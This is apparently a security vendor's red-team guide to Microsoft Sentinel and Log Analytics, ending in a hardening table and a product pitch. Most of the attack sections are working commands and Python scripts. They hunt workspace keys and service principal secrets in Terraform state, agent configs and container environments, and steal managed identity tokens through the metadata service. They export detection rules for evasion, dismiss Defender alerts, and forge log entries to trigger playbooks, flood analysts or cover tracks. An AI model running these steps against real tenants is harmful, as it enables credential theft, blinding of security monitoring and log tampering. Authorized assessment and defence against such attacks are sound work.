Microsoft Sentinel is Azure's cloud-native SIEM and SOAR platform, built on top of Log Analytics. It ingests security events from across the entire Azure estate — Azure AD sign-ins, Office 365 activity, Defender alerts, firewall logs, and third-party connectors — into a single Log Analytics workspace. For attackers, Sentinel is a high-value target: compromise the workspace key or a service principal with the right permissions and you gain read access to every security event the organization collects, the ability to export every KQL detection rule (revealing exactly what will trigger an alert), and — with Logic App access — automated response playbook manipulation. This guide covers authorized Sentinel security assessments for Azure red teams and cloud security engineers.
Microsoft Sentinel runs entirely within the customer's Azure subscription. Unlike purely cloud-managed SIEMs, Sentinel's underlying data store — the Log Analytics workspace — is a first-class Azure resource that can be accessed directly via REST API, Azure CLI, and PowerShell, independently of the Sentinel UI. This architectural choice has significant security implications: any principal with workspace-level permissions bypasses the Sentinel portal entirely.
api.loganalytics.io allows direct KQL queries against the workspace.| Component | Location | Primary Attack Vector |
|---|---|---|
| Log Analytics Workspace | Customer Azure subscription | Primary/secondary key exposure; direct API query access |
| Service Principals | Azure AD (Entra ID) | Client secret leakage in ARM templates, Terraform state, GitHub repos |
| Logic App Playbooks | Customer Azure subscription | Managed identity token theft; fake alert injection to trigger playbooks |
| Data Connectors | Sentinel configuration | AWS IAM keys, Office 365 OAuth secrets, syslog workspace keys |
| KQL Analytics Rules | Sentinel workspace | savedSearches API — exports all detection logic, enables evasion |
| Azure Lighthouse | MSSP managing tenant | Over-permissioned delegated access enables cross-tenant workspace queries |
Sentinel data connectors, automation accounts, and SIEM integrations authenticate via Azure AD service principals. Each service principal has an Application ID and one or more client secrets or certificates. These credentials are equivalent to passwords — anyone who possesses them can authenticate as that service principal and exercise its Azure RBAC and Microsoft Graph permissions.
terraform.tfstate and remote state backends (Azure Storage, Terraform Cloud) contain all resource attributes, including service principal client secrets in plaintext.# Authenticate to Azure (as a test account with Reader-level access or higher)
az login
# List all app registrations in the tenant
az ad app list --query "[].{name:displayName, appId:appId, createdDate:createdDateTime}" \
--output table | grep -i "sentinel\|log.analytics\|siem\|security"
# List service principals matching Sentinel-related names
az ad sp list --all --query \
"[?contains(displayName,'Sentinel') || contains(displayName,'LogAnalytics') || contains(displayName,'SIEM')].{name:displayName, id:id, appId:appId}" \
--output table
# Get the role assignments for a specific service principal
SP_OBJECT_ID="00000000-0000-0000-0000-000000000000"
az role assignment list --assignee "$SP_OBJECT_ID" \
--query "[].{role:roleDefinitionName, scope:scope}" --output table
# Check if any SP has Microsoft Sentinel Contributor or Reader role
az role assignment list --all \
--query "[?roleDefinitionName=='Microsoft Sentinel Contributor' || roleDefinitionName=='Microsoft Sentinel Reader'].{principal:principalName, role:roleDefinitionName, scope:scope}" \
--output table
# List client secrets metadata (not the secrets themselves — use this to identify
# which SPs have active secrets and their expiry dates)
az ad app credential list --id "APP_REGISTRATION_OBJECT_ID"
# Terraform state files — most critical exposure path
# Local state
grep -rn "client_secret\|subscription_id" . --include="*.tfstate" | grep -v ".terraform"
# Azure Storage remote state — if you have Storage Account Contributor
az storage blob list --account-name "terraformstate" \
--container-name "tfstate" --output table
az storage blob download --account-name "terraformstate" \
--container-name "tfstate" --name "sentinel.tfstate" \
--file /tmp/sentinel.tfstate
grep -E "client_secret|subscription_key|primary_key" /tmp/sentinel.tfstate
# ARM template parameter files
find . -name "*.parameters.json" | xargs grep -l "clientSecret\|sharedKey\|primaryKey" 2>/dev/null
# GitHub repos — search for Sentinel-related credential patterns
# Using trufflehog for verified secret detection
trufflehog git https://github.com/your-org/sentinel-deployment --only-verified
# Azure Key Vault — if the SP credentials are stored in Key Vault (correct practice),
# an over-permissioned test account with Key Vault Secrets User can still read them
VAULT_NAME="sentinel-kv"
az keyvault secret list --vault-name "$VAULT_NAME" --query "[].name" --output tsv
az keyvault secret show --vault-name "$VAULT_NAME" --name "sentinel-sp-client-secret"
The Log Analytics Query API allows any principal with the Log Analytics Reader role (or the broader Microsoft Sentinel Reader role) to run arbitrary KQL queries against the workspace — identical to what analysts do in the Sentinel portal. There is no additional authentication layer beyond Azure RBAC. This means that a service principal, managed identity, or user account with Log Analytics Reader can exfiltrate the full contents of every table in the workspace.
# Step 1: Get an access token for the Log Analytics API
# Using Azure CLI (as a logged-in user or service principal)
ACCESS_TOKEN=$(az account get-access-token \
--resource "https://api.loganalytics.io" \
--query "accessToken" --output tsv)
WORKSPACE_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Step 2: Query SecurityEvent table — all Windows security events
curl -s -X POST \
"https://api.loganalytics.io/v1/workspaces/${WORKSPACE_ID}/query" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "SecurityEvent | where TimeGenerated > ago(24h) | project TimeGenerated, Computer, Account, Activity, EventID | limit 500",
"timespan": "P1D"
}' | python3 -m json.tool
# Step 3: Query SigninLogs — Azure AD authentication events
curl -s -X POST \
"https://api.loganalytics.io/v1/workspaces/${WORKSPACE_ID}/query" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "SigninLogs | where TimeGenerated > ago(7d) | where ResultType == 0 | project TimeGenerated, UserPrincipalName, IPAddress, Location, AppDisplayName, ConditionalAccessStatus | limit 1000"
}' | python3 -m json.tool
# Step 4: Enumerate all tables in the workspace (understand full data inventory)
curl -s -X POST \
"https://api.loganalytics.io/v1/workspaces/${WORKSPACE_ID}/query" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "union withsource=TableName * | summarize count() by TableName | order by count_ desc"}' \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
if data.get('tables'):
rows = data['tables'][0]['rows']
for row in rows:
print(f'{row[0]:50s} {row[1]:>10,} rows')
"
# Step 5: Query AzureActivity for resource modification events
curl -s -X POST \
"https://api.loganalytics.io/v1/workspaces/${WORKSPACE_ID}/query" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "AzureActivity | where TimeGenerated > ago(30d) | where ActivityStatusValue == \"Success\" | where OperationNameValue contains \"write\" or OperationNameValue contains \"delete\" | project TimeGenerated, Caller, OperationNameValue, ResourceGroup, Resource | limit 500"
}' | python3 -m json.tool
Every Log Analytics workspace has a primary key and a secondary key — 88-character base64-encoded shared secrets that pre-date Azure RBAC integration. These keys provide a level of access that bypasses Azure AD entirely: with a workspace key, you can query data and write data to the workspace without any Azure AD token. Workspace keys appear in ARM templates, Terraform configurations, Ansible playbooks, SIEM connector configs, and syslog/CEF forwarder setup scripts.
# Via Azure CLI (requires Microsoft.OperationalInsights/workspaces/sharedKeys/action)
SUBSCRIPTION_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
RESOURCE_GROUP="sentinel-rg"
WORKSPACE_NAME="sentinel-workspace"
az monitor log-analytics workspace get-shared-keys \
--resource-group "$RESOURCE_GROUP" \
--workspace-name "$WORKSPACE_NAME"
# Returns: primarySharedKey, secondarySharedKey
# Via ARM REST API
az rest --method post \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/sharedKeys?api-version=2020-08-01"
# Hunting for keys in common locations — pattern: 88-char base64 ending in ==
# Terraform state
grep -rn "primary_shared_key\|secondary_shared_key\|workspace_key" . \
--include="*.tfstate" --include="*.tfvars" --include="*.tf"
# ARM parameter files
grep -rn "workspaceKey\|sharedKey\|primaryKey" . \
--include="*.json" --include="*.parameters.json"
# CEF/Syslog forwarder setup scripts — workspace key is required to configure the
# OMS agent or Azure Monitor agent
grep -rn "WORKSPACE_KEY\|OMS_KEY\|--key" /opt/microsoft/omsagent/ \
/etc/opt/microsoft/ /var/lib/waagent/ 2>/dev/null
# Linux: OMS agent stores workspace config including key
cat /etc/opt/microsoft/omsagent/*/conf/omsadmin.conf 2>/dev/null | grep "SHARED_KEY"
# Windows: MMA agent registry
reg query "HKLM\SOFTWARE\Microsoft\Microsoft Operations Manager\3.0\Monitoring Host" \
/s /f "WorkspaceKey" 2>nul
# Docker environments: workspace key often set as environment variable
docker inspect $(docker ps -q) | python3 -c "
import sys, json
containers = json.load(sys.stdin)
for c in containers:
env = c.get('Config', {}).get('Env', [])
for e in env:
if any(k in e.upper() for k in ['WORKSPACE', 'OMS', 'LOG_ANALYTICS', 'SENTINEL']):
print(c['Name'], e)
"
# With workspace key, query via the Log Analytics Query API using key-based auth
# Note: direct key auth for queries uses Azure Monitor REST API
WORKSPACE_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
WORKSPACE_KEY="base64encodedworkspacekeyhere=="
# The workspace key is used to compute an HMAC-SHA256 signature for the query API
python3 << 'EOF'
import hashlib, hmac, base64, datetime, requests, json
workspace_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
workspace_key = "base64encodedworkspacekeyhere=="
query = "SecurityAlert | where TimeGenerated > ago(7d) | project TimeGenerated, AlertName, Severity, Description | limit 100"
body = json.dumps({"query": query})
content_type = "application/json"
method = "POST"
resource = "/api/query"
rfc1123date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
content_length = len(body)
x_headers = f"x-ms-date:{rfc1123date}"
string_to_hash = f"{method}\n{content_length}\n{content_type}\n{x_headers}\n{resource}"
bytes_to_hash = string_to_hash.encode('utf-8')
decoded_key = base64.b64decode(workspace_key)
encoded_hash = base64.b64encode(
hmac.new(decoded_key, bytes_to_hash, digestmod=hashlib.sha256).digest()
).decode('utf-8')
authorization = f"SharedKey {workspace_id}:{encoded_hash}"
headers = {
"Content-Type": content_type,
"Authorization": authorization,
"x-ms-date": rfc1123date,
"Log-Type": "SecurityAlert"
}
url = f"https://{workspace_id}.ods.opinsights.azure.com/api/logs?api-version=2016-04-01"
response = requests.post(url, data=body, headers=headers)
print(f"Status: {response.status_code}")
print(response.text[:500])
EOF
Microsoft Sentinel's detection logic is written in KQL (Kusto Query Language) and stored as Analytics Rules within the workspace. These rules define exactly which events trigger an alert — specific EventIDs, process names, network patterns, user behaviors. Exporting the full rule set is one of the most operationally valuable actions in a Sentinel assessment: it reveals the organization's detection gaps just as clearly as what it detects.
# List all Sentinel analytics rules (scheduled, NRT, fusion, ML, Microsoft Security)
ACCESS_TOKEN=$(az account get-access-token \
--resource "https://management.azure.com" \
--query "accessToken" --output tsv)
SUBSCRIPTION_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
RESOURCE_GROUP="sentinel-rg"
WORKSPACE_NAME="sentinel-workspace"
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/providers/Microsoft.SecurityInsights/alertRules?api-version=2023-02-01" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
rules = data.get('value', [])
print(f'Total analytics rules: {len(rules)}')
for rule in rules:
props = rule.get('properties', {})
print(f\"Rule: {props.get('displayName', 'N/A')}\")
print(f\" Severity: {props.get('severity', 'N/A')}\")
print(f\" Enabled: {props.get('enabled', 'N/A')}\")
print(f\" Query: {props.get('query', 'N/A')[:200]}\")
print()
" 2>/dev/null
# Export all rules to a JSON file for offline analysis
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/providers/Microsoft.SecurityInsights/alertRules?api-version=2023-02-01" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
> /tmp/sentinel_rules.json
# Extract just the KQL queries for review
python3 << 'EOF'
import json
with open('/tmp/sentinel_rules.json') as f:
data = json.load(f)
for rule in data.get('value', []):
props = rule.get('properties', {})
name = props.get('displayName', 'Unknown')
query = props.get('query', '')
if query:
print(f"=== {name} ===")
print(query)
print()
EOF
# Log Analytics savedSearches — includes hunting queries and detection functions
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/savedSearches?api-version=2020-08-01" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
searches = data.get('value', [])
print(f'Total saved searches: {len(searches)}')
for s in searches:
props = s.get('properties', {})
print(f\"Name: {props.get('displayName', 'N/A')}\")
print(f\"Category: {props.get('category', 'N/A')}\")
print(f\"Query: {props.get('query', 'N/A')[:300]}\")
print()
"
# Also export watchlists — these often contain IOC lists, allow-listed IPs/users,
# and VIP user lists that affect detection rule behavior
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/providers/Microsoft.SecurityInsights/watchlists?api-version=2023-02-01" \
-H "Authorization: Bearer $ACCESS_TOKEN" | python3 -m json.tool
net.exe user /domain, switch to Get-ADUser. If a rule keys on specific EventID + process name combinations, use alternative tools that produce different event signatures. This is why protecting Sentinel configuration access is as important as protecting the data itself.
Sentinel automated response playbooks run as Azure Logic Apps. Each Logic App has either a system-assigned or user-assigned managed identity, or uses a service principal for authentication. These identities are granted permissions to take response actions: isolating Azure VMs, revoking Azure AD tokens, blocking IPs in firewalls, creating tickets in ServiceNow. The permissions granted to these managed identities are frequently over-broad relative to their actual need.
# List all Logic Apps in the resource group (Sentinel playbooks are Logic Apps)
az logic workflow list --resource-group "$RESOURCE_GROUP" \
--query "[].{name:name, state:state, identity:identity.type, principalId:identity.principalId}" \
--output table
# Get the managed identity object ID for a specific Logic App
LA_NAME="Sentinel-Playbook-BlockUser"
az logic workflow show --resource-group "$RESOURCE_GROUP" --name "$LA_NAME" \
--query "{identity: identity, triggers: definition.triggers}" --output json
# Get role assignments granted to the Logic App managed identity
PRINCIPAL_ID=$(az logic workflow show --resource-group "$RESOURCE_GROUP" \
--name "$LA_NAME" --query "identity.principalId" --output tsv)
az role assignment list --assignee "$PRINCIPAL_ID" \
--query "[].{role:roleDefinitionName, scope:scope}" --output table
# Check Microsoft Graph API permissions assigned to Logic App SP
# (for playbooks that interact with Azure AD / M365)
az ad app permission list --id "APP_ID_OF_LOGIC_APP_SP" --output json
# Logic Apps running within Azure can request tokens for their managed identity
# via the Azure Instance Metadata Service (IMDS) — this is relevant during
# post-exploitation from within the Azure environment
# From within an Azure VM or container in the same subscription:
# Request a token for the Logic App's managed identity (if you've compromised the
# execution environment — e.g., a VM that the Logic App calls via HTTP action)
# Standard IMDS token request
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| python3 -m json.tool
# If the Logic App managed identity has Owner or Contributor on the subscription,
# the token obtained can be used to perform any ARM operation:
MI_TOKEN="eyJ0eXAiOiJKV1QiLCJ..."
az account set --subscription "$SUBSCRIPTION_ID"
# With the MI token, list all resources the identity can access
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resources?api-version=2021-04-01" \
-H "Authorization: Bearer $MI_TOKEN" | python3 -m json.tool
# Use the token to list Key Vault secrets (if Key Vault access policy includes the MI)
az keyvault secret list --vault-name "company-keyvault" \
--query "[].{name:name, enabled:attributes.enabled}" --output table
# Sentinel playbooks are triggered by alert rules. If you have the workspace primary
# key, you can inject a synthetic log entry that matches a scheduled analytics rule's
# KQL query, causing the rule to fire and the associated playbook to execute.
python3 << 'EOF'
import hashlib, hmac, base64, datetime, requests, json
workspace_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
workspace_key = "base64encodedworkspacekeyhere=="
# Craft a log entry that matches a known Sentinel analytics rule trigger condition
# Example: inject a fake "successful brute force" event to trigger IR playbook
body = json.dumps([{
"TimeGenerated": datetime.datetime.utcnow().isoformat() + "Z",
"Account": "admin@targetdomain.com",
"EventID": 4625,
"Computer": "DC01.targetdomain.local",
"LogonType": 3,
"IpAddress": "198.51.100.42",
"Activity": "An account failed to log on",
"Category": "Logon"
}])
content_type = "application/json"
method = "POST"
resource = "/api/logs"
rfc1123date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
content_length = len(body)
x_headers = f"x-ms-date:{rfc1123date}"
string_to_hash = f"{method}\n{content_length}\n{content_type}\n{x_headers}\n{resource}"
bytes_to_hash = string_to_hash.encode('utf-8')
decoded_key = base64.b64decode(workspace_key)
sig = base64.b64encode(
hmac.new(decoded_key, bytes_to_hash, digestmod=hashlib.sha256).digest()
).decode()
headers = {
"Content-Type": content_type,
"Authorization": f"SharedKey {workspace_id}:{sig}",
"x-ms-date": rfc1123date,
"Log-Type": "SecurityEvent_CL",
"time-generated-field": "TimeGenerated"
}
url = f"https://{workspace_id}.ods.opinsights.azure.com/api/logs?api-version=2016-04-01"
r = requests.post(url, data=body, headers=headers)
print(f"Injection status: {r.status_code} — {'Success' if r.status_code == 200 else r.text}")
EOF
The Microsoft Sentinel connector for Microsoft Defender XDR (formerly Microsoft 365 Defender) ingests incidents, alerts, and advanced hunting data from the entire M365 security stack: Defender for Endpoint, Defender for Identity, Defender for Office 365, Defender for Cloud Apps. The service principal used for this integration typically holds significant Microsoft Graph API permissions.
# List the Microsoft Graph API permissions assigned to the Sentinel-Defender SP
# First, identify the SP used for the Defender connector
az ad sp list --all --query "[?displayName=='Azure Security Insights'].{appId:appId, id:id}" \
--output table
# Get all OAuth2 permission grants for the tenant's Sentinel service principals
az ad sp show --id "APP_ID" --query "appRoles" --output json
# Using the Microsoft Graph API to enumerate delegated permissions
GRAPH_TOKEN=$(az account get-access-token \
--resource "https://graph.microsoft.com" \
--query "accessToken" --output tsv)
# List all service principals with SecurityEvents.Read.All permission
curl -s \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq 'APP_ID'&\$select=displayName,appRoles,oauth2PermissionScopes" \
-H "Authorization: Bearer $GRAPH_TOKEN" | python3 -m json.tool
# If the Sentinel SP has SecurityAlert.ReadWrite.All, it can modify M365 Defender alerts:
# This allows suppressing real detections or creating false detections
curl -s -X PATCH \
"https://graph.microsoft.com/v1.0/security/alerts/ALERT_ID" \
-H "Authorization: Bearer $GRAPH_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "dismissed", "feedback": "falsePositive", "comments": ["Authorized test"]}'
# With ThreatIndicators.ReadWrite.OwnedBy: manipulate threat intel IOCs
curl -s \
"https://graph.microsoft.com/beta/security/tiIndicators" \
-H "Authorization: Bearer $GRAPH_TOKEN" | python3 -m json.tool
Each Sentinel data connector type has its own authentication model and credential exposure profile. The following connectors have the most significant credential exposure risk during authorized assessments.
# The AWS S3 connector for Sentinel (used for CloudTrail, VPC Flow Logs, GuardDuty)
# requires an IAM role ARN or IAM access key pair
# Enumerate configured AWS connectors via ARM API
curl -s \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.OperationalInsights/workspaces/${WORKSPACE_NAME}/providers/Microsoft.SecurityInsights/dataConnectors?api-version=2023-02-01" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for dc in data.get('value', []):
print(f\"Connector: {dc.get('kind')} — {dc.get('name')}\")
props = dc.get('properties', {})
print(f\" Data types: {list(props.get('dataTypes', {}).keys())}\")
# AWS-specific: look for roleArn or sqsUrl
aws_props = props.get('sqsUrls', []) or props.get('roleArn', '')
if aws_props:
print(f\" AWS config: {aws_props}\")
print()
"
# If IAM access keys are used (legacy connector), check ARM template deployments
# for stored key pairs
az deployment group list --resource-group "$RESOURCE_GROUP" \
--query "[].{name:name, timestamp:properties.timestamp}" --output table
az deployment group show --resource-group "$RESOURCE_GROUP" \
--name "DEPLOYMENT_NAME" --query "properties.parameters" --output json \
| grep -i "aws\|access.key\|secret"
# CEF/Syslog forwarders send logs to Sentinel via the Log Analytics agent
# The agent is configured with the workspace ID and primary key
# On the Linux syslog forwarder host (if you have access):
# OMS agent configuration (legacy)
cat /etc/opt/microsoft/omsagent/*/conf/omsadmin.conf
# Contains: WORKSPACE_ID and SHARED_KEY
# Azure Monitor Agent (AMA) — uses DCR (Data Collection Rule) with managed identity
# or workspace key stored in configuration
cat /etc/opt/microsoft/azuremonitoragent/config-cache/metaconfig.json 2>/dev/null
# rsyslog forwarding configuration
cat /etc/rsyslog.d/95-omsagent.conf 2>/dev/null
cat /etc/rsyslog.d/security-config-omsagent.conf 2>/dev/null
# fluentd/td-agent for CEF forwarding
find /etc/td-agent /opt/td-agent -name "*.conf" 2>/dev/null | \
xargs grep -l "workspace\|sentinel\|log_analytics" 2>/dev/null
Azure Lighthouse enables MSSPs to manage customer Azure resources from a centralized managing tenant. For Sentinel, Lighthouse delegations allow the MSSP's analysts to run queries, manage analytics rules, and respond to incidents in the customer workspace without having accounts in the customer's Azure AD. The attack path here is lateral movement from the MSSP's managing tenant into customer tenants — via over-permissioned Lighthouse assignments or compromised MSSP analyst credentials.
# From the customer tenant: list active Lighthouse delegations
# (requires Owner or User Access Administrator on the subscription)
az rest --method get \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/providers/Microsoft.ManagedServices/registrationAssignments?api-version=2022-10-01" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for assignment in data.get('value', []):
props = assignment.get('properties', {})
reg = props.get('registrationDefinitionId', 'N/A')
print(f'Assignment: {assignment[\"name\"]}')
print(f' Definition: {reg}')
print(f' Provisioning state: {props.get(\"provisioningState\", \"N/A\")}')
print()
"
# Get the registration definition — shows managing tenant ID and granted roles
az rest --method get \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/providers/Microsoft.ManagedServices/registrationDefinitions/DEFINITION_ID?api-version=2022-10-01" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
props = data.get('properties', {})
print(f'Managing tenant: {props.get(\"managedByTenantId\")}')
print(f'Description: {props.get(\"description\")}')
print('Authorized principals:')
for auth in props.get('authorizations', []):
print(f' Principal: {auth.get(\"principalId\")} | Role: {auth.get(\"roleDefinitionId\")} | Display: {auth.get(\"principalIdDisplayName\")}')
"
# From the managing (MSSP) tenant: enumerate all customer workspaces accessible
# via Lighthouse with Sentinel Reader or higher
az account list --all --query "[].{name:name, id:id, tenantId:tenantId}" --output table
Microsoft Sentinel Contributor across 50 customer subscriptions, a single credential compromise in the MSSP tenant yields access to all 50 customer security event streams.
The HTTP Data Collector API allows any client in possession of the workspace primary or secondary key to write arbitrary JSON data to any custom log table in the workspace. This capability has two significant abuse scenarios: noise injection (flooding the workspace with fake events to bury real detections in alert fatigue) and false negative injection (writing fake "clean" events that make automated detection rules appear satisfied while real malicious activity occurs).
# HTTP Data Collector API — workspace key required
# Inject noise events to induce alert fatigue or cover tracks
python3 << 'EOF'
import hashlib, hmac, base64, datetime, requests, json, time
workspace_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
workspace_key = "base64encodedworkspacekeyhere=="
def send_log(log_type, records):
body = json.dumps(records)
method = "POST"
content_type = "application/json"
resource = "/api/logs"
rfc1123date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
content_length = len(body)
string_to_hash = f"{method}\n{content_length}\n{content_type}\nx-ms-date:{rfc1123date}\n{resource}"
decoded_key = base64.b64decode(workspace_key)
sig = base64.b64encode(
hmac.new(decoded_key, string_to_hash.encode('utf-8'), digestmod=hashlib.sha256).digest()
).decode()
headers = {
"Content-Type": content_type,
"Authorization": f"SharedKey {workspace_id}:{sig}",
"x-ms-date": rfc1123date,
"Log-Type": log_type,
"time-generated-field": "TimeGenerated"
}
url = f"https://{workspace_id}.ods.opinsights.azure.com/api/logs?api-version=2016-04-01"
r = requests.post(url, data=body, headers=headers)
return r.status_code
# Inject 1000 fake SecurityEvent entries to induce alert fatigue
fake_events = []
for i in range(1000):
fake_events.append({
"TimeGenerated": datetime.datetime.utcnow().isoformat() + "Z",
"EventID": 4625,
"Account": f"testuser{i}@domain.com",
"Computer": f"WORKSTATION{i:04d}",
"IpAddress": f"10.0.{i // 256}.{i % 256}",
"Activity": "An account failed to log on"
})
# Send in batches of 100
for batch_start in range(0, len(fake_events), 100):
batch = fake_events[batch_start:batch_start+100]
status = send_log("SecurityEvent_CL", batch)
print(f"Batch {batch_start // 100 + 1}: HTTP {status}")
time.sleep(0.1)
EOF
The impact of Sentinel credential compromise scales with which credentials are obtained. The attack paths cascade: workspace key access enables log injection, which enables playbook triggering, which (if the Logic App has broad permissions) enables further Azure resource access.
| Credential Compromised | Direct Impact | Escalation Path |
|---|---|---|
| Log Analytics Reader (user/SP) | Full read access to all security events, sign-in logs, Defender alerts, custom logs in the workspace | Export KQL detection rules for evasion; enumerate watchlists for allow-listed IPs/users |
| Microsoft Sentinel Reader (user/SP) | All Log Analytics Reader capabilities plus Sentinel-specific resources: incidents, analytics rules, watchlists, hunting queries | Full detection rule export; incident enumeration; identify active threat investigations |
| Workspace Primary/Secondary Key | Query all workspace data without Azure AD; inject arbitrary log data via HTTP Data Collector API | Log injection to trigger playbooks; noise injection for alert fatigue; cover tracks by writing misleading log entries |
| Logic App Managed Identity Token | All permissions granted to the managed identity's RBAC role — often Contributor or owner on resource groups | Lateral movement within Azure subscription; Key Vault secret access; VM command execution; identity modification |
| Microsoft Sentinel Contributor (user/SP) | All read capabilities plus: modify analytics rules, disable detections, modify playbook triggers, edit watchlists | Blind the SIEM by disabling high-fidelity rules; modify watchlists to allow-list attacker IPs; tamper with incident severity |
| MSSP Lighthouse Assignment (managing tenant) | Access to all customer workspaces within the delegation scope | Cross-tenant security event access; inter-customer lateral movement if MSSP manages multiple targets |
| Control | Priority | Action |
|---|---|---|
| Rotate workspace keys immediately if exposed | Critical | Regenerate primary and secondary workspace keys; update all connectors and agents; old keys are valid until explicitly regenerated |
| Enable customer-managed keys (CMK) | High | Configure CMK for the Log Analytics workspace via Azure Key Vault; this encrypts all stored data with keys you control and can revoke |
| Restrict Log Analytics data access | High | Use workspace-level vs. resource-level access control; enable resource-based access control so users only see data from resources they have RBAC access to |
| Disable local workspace key authentication | High | For new workspaces, disable shared key access via the disableLocalAuth property; force all access through Azure AD tokens only |
| Scope Logic App managed identities to minimum permissions | High | Audit all Logic App managed identity RBAC assignments; replace subscription-wide Contributor with resource group-scoped roles targeting only the specific resources the playbook needs |
| Store service principal secrets in Key Vault | High | Never hardcode SP client secrets in ARM templates or Terraform; reference Key Vault secrets at deployment time; enable secret expiration and rotation |
| Enable Microsoft Entra ID-only authentication for connectors | High | Migrate data connectors from shared key to managed identity or service principal with certificate authentication; avoid long-lived client secrets |
| Audit Lighthouse delegations | High | Review all active Lighthouse assignments; verify managing tenant identity and granted roles; remove or downscope any assignment granting Contributor or higher |
| Enable Sentinel audit logging | Medium | Configure diagnostic settings on the Sentinel workspace to export AuditLogs to a separate, isolated storage account; alert on analytics rule modification and playbook trigger changes |
| Restrict HTTP Data Collector API ingestion | Medium | Where possible, migrate custom log ingestion from the HTTP Data Collector API (key-based) to the Logs Ingestion API with managed identity or service principal; eliminates log injection risk |
| Implement Sentinel workspace access controls | Medium | Create dedicated security reader and analyst Azure AD groups; assign Microsoft Sentinel Reader/Responder/Contributor per role; never assign directly to user accounts |
| Secret scanning in IaC pipelines | Medium | Add pre-commit hooks (gitleaks, trufflehog) and GitHub Advanced Security secret scanning to catch workspace keys and SP client secrets before they reach source control |
Ironimo's Kali Linux-powered scanning engine tests Azure environments for exposed Log Analytics workspace keys, over-permissioned service principals, and misconfigured Logic App managed identities — delivering actionable findings before adversaries find them first.
Start free scan